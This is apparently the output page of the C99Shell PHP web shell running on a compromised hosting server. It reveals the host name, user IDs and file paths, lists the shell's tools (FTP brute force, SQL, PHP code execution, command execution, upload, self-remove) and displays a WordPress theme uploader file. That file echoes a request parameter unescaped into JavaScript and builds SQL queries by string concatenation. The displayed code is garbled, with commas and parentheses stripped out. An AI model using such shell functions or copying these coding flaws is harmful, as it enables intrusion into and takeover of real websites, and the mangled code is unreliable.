!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/themes/kingsize/admin/functions/   drwxr-xr-x
Free 179.59 GB of 490.84 GB (36.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     functions.mediauploader.php (6.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * WooThemes Media Library-driven AJAX File Uploader Module (2010-11-05)
 *
 * Slightly modified for use in the Options Framework.
 *
 * @since 1.0.0
 */

/**
 * Sets up a custom post type to attach image to.  This allows us to have
 * individual galleries for different uploaders.
 */

if ( ! function_exists'optionsframework_mlu_init' ) ) {
    function 
optionsframework_mlu_init () {
        
register_post_type'options', array(
            
'labels' => array(
                
'name' => __'Options' ),
            ),
            
'public' => true,
            
'show_ui' => false,
            
'capability_type' => 'post',
            
'hierarchical' => false,
            
'rewrite' => false,
            
'supports' => array( 'title''editor' ), 
            
'query_var' => false,
            
'can_export' => true,
            
'show_in_nav_menus' => false
        
) );
    }
}

/**
 * Forces insert into post
*/

add_filter'get_media_item_args''force_send' );
function 
force_send($args){
    
$args['send'] = true;
    return 
$args;
}

/**
 * Adds the Thickbox CSS file and specific loading and button images to the header
 * on the pages where this function is called.
 */

if ( ! function_exists'optionsframework_mlu_css' ) ) {

    function 
optionsframework_mlu_css () {
    
        
$_html '';
        
$_html .= '<link rel="stylesheet" href="' get_option('siteurl') . '/' WPINC '/js/thickbox/thickbox.css" type="text/css" media="screen" />' "\n";
        
$_html .= '<script type="text/javascript">
        var tb_pathToImage = "' 
get_option('siteurl') . '/' WPINC '/js/thickbox/loadingAnimation.gif";
        var tb_closeImage = "' 
get_option('siteurl') . '/' WPINC '/js/thickbox/tb-close.png";
        </script>' 
"\n";
        
        echo 
$_html;
        
    }

}

/**
 * Registers and enqueues (loads) the necessary JavaScript file for working with the
 * Media Library-driven AJAX File Uploader Module.
 */

if ( ! function_exists'optionsframework_mlu_js' ) ) {

    function 
optionsframework_mlu_js () {
    
        
// Registers custom scripts for the Media Library AJAX uploader.
        
wp_register_script'of-medialibrary-uploader'ADMIN_DIR .'assets/js/of-medialibrary-uploader.js', array( 'jquery''thickbox' ) );
        
wp_enqueue_script'of-medialibrary-uploader' );
        
wp_enqueue_script'media-upload' );
    }

}

/**
 * Uses "silent" posts in the database to store relationships for images.
 * This also creates the facility to collect galleries of, for example, logo images.
 * 
 * Return: $_postid.
 *
 * If no "silent" post is present, one will be created with the type "optionsframework"
 * and the post_name of "of-$_token".
 *
 * Example Usage:
 * optionsframework_mlu_get_silentpost ( 'of_logo' );
 */

if ( ! function_exists'optionsframework_mlu_get_silentpost' ) ) {

    function 
optionsframework_mlu_get_silentpost $_token ) {
    
        global 
$wpdb;
        
$_id 0;
    
        
// Check if the token is valid against a whitelist.
        // $_whitelist = array( 'of_logo', 'of_custom_favicon', 'of_ad_top_image' );
        // Sanitise the token.
        
        
$_token strtolowerstr_replace' ''_'$_token ) );
        
        
// if ( in_array( $_token, $_whitelist ) ) {
        
if ( $_token ) {
            
            
// Tell the function what to look for in a post.
            
            
$_args = array( 'post_type' => 'optionsframework''post_name' => 'of-' $_token'post_status' => 'draft''comment_status' => 'closed''ping_status' => 'closed' );
            
            
// Look in the database for a "silent" post that meets our criteria.
            
$query 'SELECT ID FROM ' $wpdb->posts ' WHERE post_parent = 0';
            foreach ( 
$_args as $k => $v ) {
                
$query .= ' AND ' $k ' = "' $v '"';
            } 
// End FOREACH Loop
            
            
$query .= ' LIMIT 1';
            
$_posts $wpdb->get_row$query );
            
            
// If we've got a post, loop through and get it's ID.
            
if ( count$_posts ) ) {
                
$_id $_posts->ID;
            } else {
            
                
// If no post is present, insert one.
                // Prepare some additional data to go with the post insertion.
                
$_words explode'_'$_token );
                
$_title join' '$_words );
                
$_title ucwords$_title );
                
$_post_data = array( 'post_title' => $_title );
                
$_post_data array_merge$_post_data$_args );
                
$_id wp_insert_post$_post_data );
            }    
        }
        return 
$_id;
    }
}

/**
 * Trigger code inside the Media Library popup.
 */

if ( ! function_exists'optionsframework_mlu_insidepopup' ) ) {

    function 
optionsframework_mlu_insidepopup () {
    
        if ( isset( 
$_REQUEST['is_optionsframework'] ) && $_REQUEST['is_optionsframework'] == 'yes' ) {
        
            
add_action'admin_head''optionsframework_mlu_js_popup' );
            
add_filter'media_upload_tabs''optionsframework_mlu_modify_tabs' );
        }
    }
}

if ( ! 
function_exists'optionsframework_mlu_js_popup' ) ) {

    function 
optionsframework_mlu_js_popup () {

        
$_of_title $_REQUEST['of_title'];
        if ( ! 
$_of_title ) { $_of_title 'file'; } // End IF Statement
?>
    <script type="text/javascript">
    jQuery(function($) {
        
        jQuery.noConflict();
        
        // Change the title of each tab to use the custom title text instead of "Media File".
        $( 'h3.media-title' ).each ( function () {
            var current_title = $( this ).html();
            var new_title = current_title.replace( 'media file', '<?php echo $_of_title?>' );
            $( this ).html( new_title );
        
        } );
        
        // Change the text of the "Insert into Post" buttons to read "Use this File".
        $( '.savesend input.button[value*="Insert into Post"], .media-item #go_button' ).attr( 'value', 'Use this File' );
        
        // Hide the "Insert Gallery" settings box on the "Gallery" tab.
        $( 'div#gallery-settings' ).hide();
        
        // Preserve the "is_optionsframework" parameter on the "delete" confirmation button.
        $( '.savesend a.del-link' ).click ( function () {
        
            var continueButton = $( this ).next( '.del-attachment' ).children( 'a.button[id*="del"]' );
            var continueHref = continueButton.attr( 'href' );
            continueHref = continueHref + '&is_optionsframework=yes';
            continueButton.attr( 'href', continueHref );
        
        } );
        
    });
    </script>
<?php
    
}
}

/**
 * Triggered inside the Media Library popup to modify the title of the "Gallery" tab.
 */

if ( ! function_exists'optionsframework_mlu_modify_tabs' ) ) {

    function 
optionsframework_mlu_modify_tabs $tabs ) {
        
$tabs['gallery'] = str_replace__'Gallery''optionsframework' ), __'Previously Uploaded''optionsframework' ), $tabs['gallery'] );
        return 
$tabs;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0126 ]--